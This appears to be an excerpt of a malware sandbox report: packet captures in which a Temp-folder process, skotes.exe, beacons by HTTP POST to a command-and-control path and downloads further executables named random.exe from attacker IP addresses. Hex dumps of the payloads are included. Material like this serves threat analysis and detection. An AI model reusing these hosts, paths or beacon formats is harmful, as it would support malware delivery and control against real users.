1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf 2@P2.2@WkH202 @.rsrcH@.idata @bqlruwdx`+T+@tmwrwawp21@.taggant0 2"1@
Nov 17, 2024 10:07:47.649585009 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:07:47.649597883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:07:47.649667025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:07:47.649678946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:07:47.649692059 CET	1236	IN	Data Raw: 57 ac 24 95 6a ac fb 46 fe c5 4f fd db eb 60 95 ca 0b 19 df 03 47 b6 e7 02 6f 5e a5 ff 2b 26 7d 37 ac 24 95 6a ac fb 46 fe c5 33 fd 07 ea 60 95 ca 07 10 df 03 47 56 e6 02 6f 5e 05 fe 2b 26 7d 17 ad 24 95 6a ac fb 46 fe c5 3f fd 2f ea 60 95 ca 5b Data Ascii: W$jFO`Go^+&}7$jF3`GVo^+&}$jF?/`[Gvo^e+&}$jF?[`Go^+&}$jF#W`G6o^%+&}$jF#O`Go^+&}$jF#G`kGo^+&}w$jF#`
Nov 17, 2024 10:07:47.649703979 CET	548	IN	Data Raw: 03 47 f6 fa 02 6f 5e e5 ed 2b 26 7d 77 b1 24 95 6a ac fb 46 fe c5 23 fd b3 e9 60 95 ca d3 1d df 03 47 96 fa 02 6f 5e 45 ec 2b 26 7d 57 b1 24 95 6a ac fb 46 fe c5 23 fd ab e9 60 95 ca f3 13 df 03 47 b6 fa 02 6f 5e a5 ec 2b 26 7d 37 b1 24 95 6a ac Data Ascii: Go^+&}w$jF#`Go^E+&}W$jF#`Go^+&}7$jF?`GVo^+&}$jF#`Gvo^e+&}$jF7`Go^+&}$jF7`G6o^%+&}$jF`7Go^+&}$j
Nov 17, 2024 10:07:47.649715900 CET	1236	IN	Data Raw: 02 6f 5e 45 e2 2b 26 7d 57 b3 24 95 6a ac fb 46 fe c5 3f fd cf e8 60 95 ca 53 19 df 03 47 b6 fc 02 6f 5e a5 e2 2b 26 7d 37 b3 24 95 6a ac fb 46 fe c5 3f fd fb e8 60 95 ca fb 17 df 03 47 56 ff 02 6f 5e 05 e5 2b 26 7d 17 b4 24 95 6a ac fb 46 fe c5 Data Ascii: o^E+&}W$jF?`SGo^+&}7$jF?`GVo^+&}$jF?`#Gvo^e+&}$jF7`cGo^+&}$jF7`G6o^%+&}$jF#;`Go^+&}$jF#3`Go^+&}w$jFg
Nov 17, 2024 10:07:47.649728060 CET	1236	IN	Data Raw: 33 e3 60 95 ca 8b 12 df 03 47 f6 f3 02 6f 5e e5 10 2b 26 7d 77 b8 24 95 6a ac fb 46 fe c5 3b fd 57 e3 60 95 ca 43 18 df 03 47 96 f3 02 6f 5e 45 13 2b 26 7d 57 b8 24 95 6a ac fb 46 fe c5 3b fd 47 e3 60 95 ca 3b 17 df 03 47 b6 f3 02 6f 5e a5 13 2b Data Ascii: 3`Go^+&}w$jF;W`CGo^E+&}W$jF;G`;Go^+&}7$jF?w`cGVo^+&}$jF3c`Gvo^e+&}$jF`Go^+&}$jF#`G6o^%+&}$jF`CGo^+&
Nov 17, 2024 10:07:47.649741888 CET	424	IN	Data Raw: c6 67 bd 5c 60 d2 e5 9e 03 60 71 55 bf ae 41 84 e9 2e 22 5c 45 6b 76 12 79 6f e1 93 97 69 63 95 c4 a3 fb 46 fe a3 fb 46 fe de df 73 b5 6e 26 ca c4 a3 fb 46 fe a3 fb 46 fe da ba 66 68 70 50 9d bc 7e 71 7d 3a 9e 24 95 84 ab 3f 18 f8 d1 48 53 06 6f Data Ascii: g\``qUA."\EkvyoicFFsn&FFfhpP~q}:$?HSoFFfhP0`un&g\`FFFFfp_+&o&#)&o&ygo&n&YFFFfC;q{p&o`*1Ffhh
Nov 17, 2024 10:07:47.654691935 CET	1236	IN	Data Raw: fe da ba 66 87 43 3b 32 36 0f 60 95 54 aa bc df 0f e4 70 9d be 2a d2 cc bc 7e bc cf 17 e2 79 91 f9 2a 2e 93 72 60 71 55 fb 69 b2 9f 46 6f 76 ff 30 59 24 7d 2a 1c 25 95 bc 22 2a 11 c6 67 e1 9c 83 69 63 95 bc a9 12 46 60 47 63 3b 05 6f bd 7f 61 ad Data Ascii: fC;26`Tp~y.r`qUiFov0Y$}%"gicF`Gc;oa#FFFfhhjc`>kv}%?\8!n#FFFf>`."FFFf*>ic'"g&YFFFfnipPupw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50120	185.215.113.43	80	8220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:05.472600937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 10:09:06.381448984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50121	185.215.113.43	80	8220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:07.899770975 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 17, 2024 10:09:08.810266018 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 38 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 38 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 38 36 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 38 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006863001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006864001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006865001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1006866001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50122	185.215.113.16	80	8220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:08.818809986 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 10:09:09.737487078 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:09:09 GMT Content-Type: application/octet-stream Content-Length: 1938432 Last-Modified: Sun, 17 Nov 2024 08:45:54 GMT Connection: keep-alive ETag: "6739ad42-1d9400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4d 00 00 04 00 00 b0 e8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDL@ M@\p x@.rsrc @.idata @ ,@iqhxooog1@drpvrehqLn@.taggant0L"r@
Nov 17, 2024 10:09:09.737550974 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:09.737584114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:09.737622023 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:09.737652063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:09.737688065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:09.737724066 CET	1236	IN	Data Raw: 14 06 3d de 63 03 fd 1f 03 4c 8e ca 0d 4c ef 9e 0f 91 c3 d5 75 79 99 ae 5c 72 a1 05 c2 f7 b9 d2 e9 5a 23 5d fe c0 98 0d f6 02 db 9d 94 30 2f 1a fb af b3 8c b7 f9 2c 82 96 d9 11 b7 b4 2f 0b 6b 36 17 db c1 ad 06 03 17 69 bb 4f cc 9c 71 89 81 93 39 Data Ascii: =cLLuy\rZ#]0/,/k6iOq9F]BA$]^BKMw=[Fz+pE&MpX%rDO);edse&\|b`LMT'j@v4L!#n92[3>
Nov 17, 2024 10:09:09.737759113 CET	636	IN	Data Raw: 8a fc 81 de 17 70 99 40 9b f6 6b 4d 87 3a eb de b4 05 b2 fd 9a e8 a9 4a ba d9 78 61 2a c0 83 4b 32 90 16 cb 4a f0 e3 6d d5 f8 b3 22 27 7c a0 9c fb 01 5a bf 7b a4 28 c4 f5 23 99 c7 6e 70 fd 4b 03 c9 13 fd 07 e8 ea 23 ab 06 1f dd f6 f4 26 6d 8f 58 Data Ascii: p@kM:JxaK2Jm"'\|Z{(#npK#&mX=dp35EJ]_o9D1gVB%Sko#5X&6@{KEpn.:&SJp3BaW>FE!*i=4BPfoMmODK3
Nov 17, 2024 10:09:09.737900972 CET	1236	IN	Data Raw: b2 22 84 48 95 f2 4f 28 89 4f 26 42 64 50 d4 fd a6 80 bc e8 d4 ef b5 4f 8d d1 e7 96 90 84 89 b7 94 ff 40 93 66 e1 2a ab b7 2a 5e e2 8c 22 bb 92 f5 58 1a 0b 7c 2c a6 57 00 17 4d 42 23 9e f2 9e 5a a4 09 fe b4 43 a4 8c 06 38 c4 34 8b aa a6 c2 20 45 Data Ascii: "HO(O&BdPO@f*^"X\|,WMB#ZC84 ESufyh#UW20K8BHv P'v-Qt>g.6`Wfp'{xVY_`C6pUL^S<j6&3>4y-r8v
Nov 17, 2024 10:09:09.737957001 CET	212	IN	Data Raw: 92 ed 2c e7 a4 d9 a2 dd 98 d4 8e b0 2a ce 36 bb af 8d ca 63 92 70 c1 91 a1 fc 52 46 41 78 9a 0b ab 86 31 a1 91 fa 2e 55 13 06 a6 19 9a bb b0 59 d4 08 25 f5 68 01 1a 0c a3 ad ba da c1 4e d2 0f 23 fe 2c a5 59 58 fa c9 ba 04 ba e5 32 1d 8b 69 4b 15 Data Ascii: ,6cpRFAx1.UY%hN#,YX2iKgde_LG&/#vr4Fqp8"kI,4edoFV'/r5G&k.NwhtU/qyBza(
Nov 17, 2024 10:09:09.742794991 CET	1236	IN	Data Raw: 50 ab 97 da 4b da ab 9c fa 1f fd e1 e0 8b 4e 86 e0 3f 27 f1 2a bf 75 4b 85 21 e8 c6 38 e8 4f 91 16 1d 3e 8e f3 56 3a 27 f9 8b 93 38 52 d5 e7 22 16 a9 f5 8d dc 74 85 80 b9 fb 93 74 b7 41 74 77 4f 06 97 6e 63 2f 28 11 5d 5c 4f 37 5a f7 d4 45 b7 8d Data Ascii: PKN?'*uK!8O>V:'8R"ttAtwOnc/(]\O7ZE:2}Dv@J-d,PG7E&#5.IK\|)S=}nx\|(py\|s"{&F.3U;jTSe&^24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50124	185.215.113.43	80	8220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:13.529675007 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 38 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006863001&unit=246122658369
Nov 17, 2024 10:09:14.432529926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50125	185.215.113.16	80	8220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:14.440280914 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 10:09:15.344717979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:09:15 GMT Content-Type: application/octet-stream Content-Length: 1797120 Last-Modified: Sun, 17 Nov 2024 08:46:01 GMT Connection: keep-alive ETag: "6739ad49-1b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 b8 07 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$ i@Pi@M$a$$ $b@.rsrc$r@.idata $t@ *$v@pptkhitg@Ox@oviucogmiD@.taggant0 i"J@
Nov 17, 2024 10:09:15.344753981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:15.344772100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:15.344788074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 10:09:15.344806910 CET	448	IN	Data Raw: 69 8c c5 14 3c 71 1a 92 74 1d 4e 97 ff f4 32 9c 69 fb 4b ef bb 56 f1 31 5c f5 8e f0 97 8c 21 88 cc 6c 70 90 f6 51 7e f1 36 0b 0f 45 67 f8 58 28 14 a2 51 a0 5c f9 f4 69 55 ec 4a ec 06 fc 64 61 d4 3f ed 50 ec 63 89 eb 41 89 56 ef dd 22 41 07 54 e4 Data Ascii: i<qtN2iKV1\!lpQ~6EgX(Q\iUJda?PcAV"ATKRTq&dbZJ\H$F7p4cJsTgp(xoZ\|l%Wr8wWxeie3Y'"h8&,(<o=OTG<4\O`GB7W}E!
Nov 17, 2024 10:09:15.344821930 CET	1236	IN	Data Raw: b3 ad 6a 0f 64 ec fa d1 8c 82 0c 2b 3f ab d8 73 59 2d 76 f3 3c ff fd 50 99 90 83 e2 d9 d7 d3 c3 ca 26 02 1c d4 b6 6c 0c 97 24 4c ba 89 0b 24 8c 3f a6 e3 25 66 cf fa e3 c9 5c bb 13 6e db 5d a0 dd b8 7b 80 5c b3 7c 11 7c 77 2c 47 62 29 7d 26 ba 34 Data Ascii: jd+?sY-v<P&l$L$?%f\n]{\\|\|w,Gb)}&4 $8\|-hFnet'v~+_IcqH<gYdOpvy[%n;(<\|XTH+=-B 4UG"%LJ}gl"dx<gV_St\
Nov 17, 2024 10:09:15.344837904 CET	1236	IN	Data Raw: bb 23 a1 71 d6 c0 45 05 b0 23 cc 11 8e 27 31 e2 d3 6d 46 81 c3 b5 4a 64 d7 34 c9 dc f1 8c 4b 06 b6 fd 08 9b 02 53 ed 88 3a aa 91 80 33 e6 ff 83 e6 26 81 ef 5f ad 45 cf 54 50 bd 69 55 f5 43 51 e0 25 86 47 99 9a 62 90 af 25 09 a3 d8 61 fe 60 24 bb Data Ascii: #qE#'1mFJd4KS:3&_ETPiUCQ%Gb%a`$Xj/`;PF\Lx<y#5ZE2c=/@Om-Z"o>p)e1NsQs~\$J_c>JX`+ ctl?If=v(:M\}QG#guSh
Nov 17, 2024 10:09:15.344852924 CET	1236	IN	Data Raw: 89 e8 48 e7 7e 82 14 5e 4f b5 2b f5 75 5a fc 46 08 ad e7 88 89 68 0a a0 14 e6 16 00 96 a8 fc 2d d0 f8 83 21 e0 09 a3 2c aa 96 37 44 59 a8 a0 07 69 39 f2 bb a6 ea d8 a4 5a 90 03 4b c8 c5 d1 cb 64 8c 58 1a fa 6c 80 17 64 b0 82 46 81 7c a9 8a f5 ec Data Ascii: H~^O+uZFh-!,7DYi9ZKdXldF\|Qd}nz Q\`<ZIjh}!P-;z^j/Tq(fZDl+D7hA3_fIWeEjs]ot!VSh#j8>3^@9\|1\D,'.3j!}!/;e!j$
Nov 17, 2024 10:09:15.344870090 CET	1236	IN	Data Raw: 08 b4 30 9c 7d ba 08 c7 dc 80 3e 57 5c d0 6d 49 a4 b8 e8 15 65 a8 22 20 98 b9 57 86 1f b1 05 09 73 aa 98 32 ec ac bd 0a 3c ea 1a 44 8c 28 0a 4b aa b8 3a 0d de d4 0e 43 b4 c6 6c 10 e0 ac 12 8b 96 2c 1a 9b 64 10 81 03 9d a9 6c af 5c ba bc 43 e4 c5 Data Ascii: 0}>W\mIe" Ws2<D(K:Cl,dl\C j1xe+C`$'u j .\|I7j\|OuwPIE\PWT({Sv dP'++/,ZI/o4\|D5gn'
Nov 17, 2024 10:09:15.344886065 CET	448	IN	Data Raw: 96 24 82 23 a3 fa 1a 21 8d b6 fd 14 f0 c3 27 a1 fd b2 70 41 6a 30 09 53 df 2d 1c 57 f1 44 9a 15 04 ac 30 43 e2 b1 7c 97 7e f4 b8 15 28 28 49 9f ac 9b 4c 07 db 1c 7d 41 4c cc 0c 41 7f 85 01 86 80 0b 35 a1 8e 19 0d 8a 46 2e 1b c7 5c 49 54 1f 5c ba Data Ascii: $#!'pAj0S-WD0C\|~((IL}ALA5F.\IT\(D'H)"?s<@flA+\X !-;o!2#^h.d\|S*vPX--]E3?jW=? wD6=(^Hjt}D@~llj $
Nov 17, 2024 10:09:15.350061893 CET	1236	IN	Data Raw: 69 8c dc 04 12 c5 67 8f e4 bf 1d 1b 98 a4 57 04 86 c5 35 11 56 ba 34 8c 78 5b 50 31 9a 94 7d 18 4c c5 2c 8a 66 42 26 2c 15 e2 0b 07 00 ee 5c 2e 65 2c 3d cb 64 45 0f 1b 5c ac 7c 41 c6 ac 16 67 7c e8 40 21 60 28 3b 5b 76 ba 80 c3 6a b4 78 83 d8 2e Data Ascii: igW5V4x[P1}L,fB&,\.e,=dE\\|Ag\|@!`(;[vjx.AE)\C(m\|N +LJ>j728DPX(IM( 0RlhD!yXCHAMT(iVj9);!+R!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50128	185.215.113.206	80	8500	C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:09:18.471546888 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:09:19.383409023 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:09:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	40.113.110.67	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 75 4a 72 6d 33 2f 39 37 6b 75 30 31 67 66 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 30 37 64 36 66 35 32 38 30 30 37 37 62 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: YuJrm3/97ku01gfC.1Context: b407d6f5280077b7
